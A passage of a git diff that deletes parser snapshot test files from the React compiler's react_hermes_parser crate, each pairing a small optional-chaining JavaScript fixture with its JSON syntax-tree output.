-        220
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    116,
-    220
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression-with-optional-member-expr-as-property.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression-with-optional-member-expr-as-property.js.snap
deleted file mode 100644
index b48308f9041e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression-with-optional-member-expr-as-property.js.snap
+++ /dev/null
@@ -1,273 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-member-expression-with-optional-member-expr-as-property.js
----
-Input:
-function Component(props) {
-  const x = makeObject();
-  return x.y?.[props.a?.[props.b?.[props.c]]];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      50
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              53
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "OptionalMemberExpression",
-              "object": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    64
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    66
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  63,
-                  66
-                ]
-              },
-              "property": {
-                "type": "OptionalMemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      69,
-                      74
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      75,
-                      76
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    69,
-                    76
-                  ]
-                },
-                "property": {
-                  "type": "OptionalMemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        79,
-                        84
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        85,
-                        86
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      79,
-                      86
-                    ]
-                  },
-                  "property": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        89,
-                        94
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        95,
-                        96
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      89,
-                      96
-                    ]
-                  },
-                  "computed": true,
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    79,
-                    97
-                  ]
-                },
-                "computed": true,
-                "optional": true,
-                "loc": null,
-                "range": [
-                  69,
-                  98
-                ]
-              },
-              "computed": true,
-              "optional": true,
-              "loc": null,
-              "range": [
-                63,
-                99
-              ]
-            },
-            "loc": null,
-            "range": [
-              56,
-              100
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          102
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        102
-      ],
-      "loc": null,
-      "range": [
-        0,
-        102
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    102
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression.js.snap
deleted file mode 100644
index 32c4ae62a9c3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-member-expression.js.snap
+++ /dev/null
@@ -1,288 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-member-expression.js
----
-Input:
-function Foo(props) {
-  let x = bar(props.a);
-  let y = x?.b;
-
-  let z = useBar(y);
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      32,
-                      35
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          41
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          42,
-                          43
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        43
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    32,
-                    44
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  28,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              45
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    52,
-                    53
-                  ]
-                },
-                "init": {
-                  "type": "OptionalMemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      56,
-                      57
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      59,
-                      60
-                    ]
-                  },
-                  "computed": false,
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    56,
-                    60
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  52,
-                  60
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              48,
-              61
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    70
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useBar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      73,
-                      79
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        80,
-                        81
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    73,
-                    82
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  69,
-                  82
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              65,
-              83
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                93,
-                94
-              ]
-            },
-            "loc": null,
-            "range": [
-              86,
-              95
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          97
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        97
-      ],
-      "loc": null,
-      "range": [
-        0,
-        97
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    97
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-method-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-method-call.js.snap
deleted file mode 100644
index e9c5fa5d00db..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-method-call.js.snap
+++ /dev/null
@@ -1,434 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-method-call.js
----
-Input:
-function Component(props) {
-  const x = makeObject(props);
-  const y = makeObject(props);
-  const z = x.optionalMethod?.(y.a, props.a, foo(y.b), bar(props.b));
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      50
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        51,
-                        56
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    57
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  57
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              58
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      71,
-                      81
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        82,
-                        87
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    71,
-                    88
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  67,
-                  88
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              61,
-              89
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    98,
-                    99
-                  ]
-                },
-                "init": {
-                  "type": "OptionalCallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        102,
-                        103
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "optionalMethod",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        104,
-                        118
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      102,
-                      118
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          121,
-                          122
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          123,
-                          124
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        121,
-                        124
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          126,
-                          131
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          132,
-                          133
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        126,
-                        133
-                      ]
-                    },
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          135,
-                          138
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              139,
-                              140
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              141,
-                              142
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            139,
-                            142
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        135,
-                        143
-                      ]
-                    },
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          145,
-                          148
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              149,
-                              154
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              155,
-                              156
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            149,
-                            156
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        145,
-                        157
-                      ]
-                    }
-                  ],
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    102,
-                    158
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  98,
-                  158
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              92,
-              159
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                169,
-                170
-              ]
-            },
-            "loc": null,
-            "range": [
-              162,
-              171
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          173
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        173
-      ],
-      "loc": null,
-      "range": [
-        0,
-        173
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    173
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-receiver-method-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-receiver-method-call.js.snap
deleted file mode 100644
index a8913fa99408..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-receiver-method-call.js.snap
+++ /dev/null
@@ -1,435 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-receiver-method-call.js
----
-Input:
-function Component(props) {
-  const x = makeOptionalObject(props);
-  const y = makeObject(props);
-  const z = x?.method(y.a, props.a, foo(y.b), bar(props.b));
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeOptionalObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      58
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        59,
-                        64
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              66
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    75,
-                    76
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      79,
-                      89
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        90,
-                        95
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    79,
-                    96
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  75,
-                  96
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              69,
-              97
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    107
-                  ]
-                },
-                "init": {
-                  "type": "OptionalCallExpression",
-                  "callee": {
-                    "type": "OptionalMemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        110,
-                        111
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "method",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        113,
-                        119
-                      ]
-                    },
-                    "computed": false,
-                    "optional": true,
-                    "loc": null,
-                    "range": [
-                      110,
-                      119
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          120,
-                          121
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          122,
-                          123
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        120,
-                        123
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          125,
-                          130
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          131,
-                          132
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        125,
-                        132
-                      ]
-                    },
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          134,
-                          137
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              138,
-                              139
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              140,
-                              141
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            138,
-                            141
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        134,
-                        142
-                      ]
-                    },
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          144,
-                          147
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              148,
-                              153
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              154,
-                              155
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            148,
-                            155
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        144,
-                        156
-                      ]
-                    }
-                  ],
-                  "optional": false,
-                  "loc": null,
-                  "range": [
-                    110,
-                    157
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  106,
-                  157
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              100,
-              158
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                168,
-                169
-              ]
-            },
-            "loc": null,
-            "range": [
-              161,
-              170
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          172
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        172
-      ],
-      "loc": null,
-      "range": [
-        0,
-        172
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    172
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-receiver-optional-method.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-receiver-optional-method.js.snap
deleted file mode 100644
index 54b65dd571a2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@optional-receiver-optional-method.js.snap
+++ /dev/null
@@ -1,435 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/optional-receiver-optional-method.js
----
-Input:
-function Component(props) {
-  const x = makeOptionalObject(props);
-  const y = makeObject(props);
-  const z = x?.optionalMethod?.(y.a, props.a, foo(y.b), bar(props.b));
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeOptionalObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      58
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        59,
-                        64
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              66
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    75,
-                    76
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      79,
-                      89
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        90,
-                        95
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    79,
-                    96
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  75,
-                  96
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              69,
-              97
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    106,
-                    107
-                  ]
-                },
-                "init": {
-                  "type": "OptionalCallExpression",
-                  "callee": {
-                    "type": "OptionalMemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        110,
-                        111
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "optionalMethod",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        113,
-                        127
-                      ]
-                    },
-                    "computed": false,
-                    "optional": true,
-                    "loc": null,
-                    "range": [
-                      110,
-                      127
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          130,
-                          131
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          132,
-                          133
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        130,
-                        133
-                      ]
-                    },
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          135,
-                          140
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          141,
-                          142
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        135,
-                        142
-                      ]
-                    },
-                    {
